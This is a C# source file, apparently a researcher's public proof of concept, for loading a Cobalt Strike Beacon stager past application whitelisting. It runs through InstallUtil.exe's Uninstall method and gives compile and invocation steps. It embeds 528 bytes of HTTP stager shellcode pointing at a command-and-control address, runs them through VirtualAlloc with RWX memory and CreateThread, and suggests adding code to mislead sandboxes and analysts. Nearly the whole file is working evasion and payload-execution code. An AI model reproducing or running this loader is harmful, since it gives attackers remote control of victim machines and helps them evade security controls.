Application Whitelisting Evasion for Cobalt Strike - Beacon Payload

beaconPayload.cs

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
Generate Payload:
	CobaltStrike TeamServer | Attacks | Packaages | Payload Generator
Step Two:
	Copy Payload Into .cs file
	Compile (Not this can be done in advance, from the TeamServer, more on this later)
	All you need is to Deliver the Payload exe/dll
	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe  /unsafe /platform:x86 /out:bp.exe beaconPayload.cs
	
Step Three:
Invoke Via InstallUtil
	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U bp.exe




*/

public class Program
{
	public static void Main()
	{
		Console.WriteLine("Hey There From Main()");
		//Add any behaviour here to throw off sandbox execution/analysts :)
		
	}
	
}

[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
	//The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
	public override void Uninstall(System.Collections.IDictionary savedState)
	{
	
		Shellcode.Exec();
		
	}
	
}

public class Shellcode
{
		public static void Exec()
		{
			// Replace this Byte Array with Your Generatated Shellcode.
			/* length: 528 bytes */
			byte[] shellcode = new byte[528] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b,
			0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
			0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 
			0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 
			0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 
			0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 
			0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 
			0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xe8, 0x80, 0x00, 0x00, 0x00, 0x4d, 0x6f, 0x7a, 
			0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 
			0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 
			0x2e, 0x31, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x3b, 0x20, 0x46, 0x75, 0x6e, 0x57, 0x65, 
			0x62, 0x50, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x3b, 0x20, 0x49, 0x45, 0x30, 0x30, 0x30, 0x36, 0x5f, 0x76, 0x65, 0x72, 0x31, 
			0x3b, 0x45, 0x4e, 0x5f, 0x47, 0x42, 0x29, 0x00, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 
			0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00, 0x59, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 
			0x51, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x79, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0x90, 0x1f, 
			0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x62, 0x59, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x02, 0x60, 0x84, 
			0x52, 0x52, 0x52, 0x51, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x56, 
			0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x44, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 
			0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 
			0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x74, 0xbc, 0x31, 0xff, 0xeb, 0x15, 0xeb, 
			0x49, 0xe8, 0x99, 0xff, 0xff, 0xff, 0x2f, 0x64, 0x48, 0x69, 0x73, 0x00, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 
			0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x53, 0x89, 
			0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xcd, 0x8b, 0x07, 
			0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0x37, 0xff, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x35, 
			0x36, 0x2e, 0x31, 0x30, 0x33, 0x00 };
						
			UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
			IntPtr hThread = IntPtr.Zero;
			UInt32 threadId = 0;
			
			IntPtr pinfo = IntPtr.Zero;
 
			
			hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
			WaitForSingleObject(hThread, 0xFFFFFFFF);
			return;
			
	  }
 
		private static UInt32 MEM_COMMIT = 0x1000;
 
		private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

		[DllImport("kernel32")]
		private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
		 UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

	

		[DllImport("kernel32")]
		private static extern IntPtr CreateThread(

		  UInt32 lpThreadAttributes,
		  UInt32 dwStackSize,
		  UInt32 lpStartAddress,
		  IntPtr param,
		  UInt32 dwCreationFlags,
		  ref UInt32 lpThreadId

		);
		
		[DllImport("kernel32")]
		private static extern bool CloseHandle(IntPtr handle);

		[DllImport("kernel32")]
		private static extern UInt32 WaitForSingleObject(

		  IntPtr hHandle,
		  UInt32 dwMilliseconds
		  );
	
		
 
	}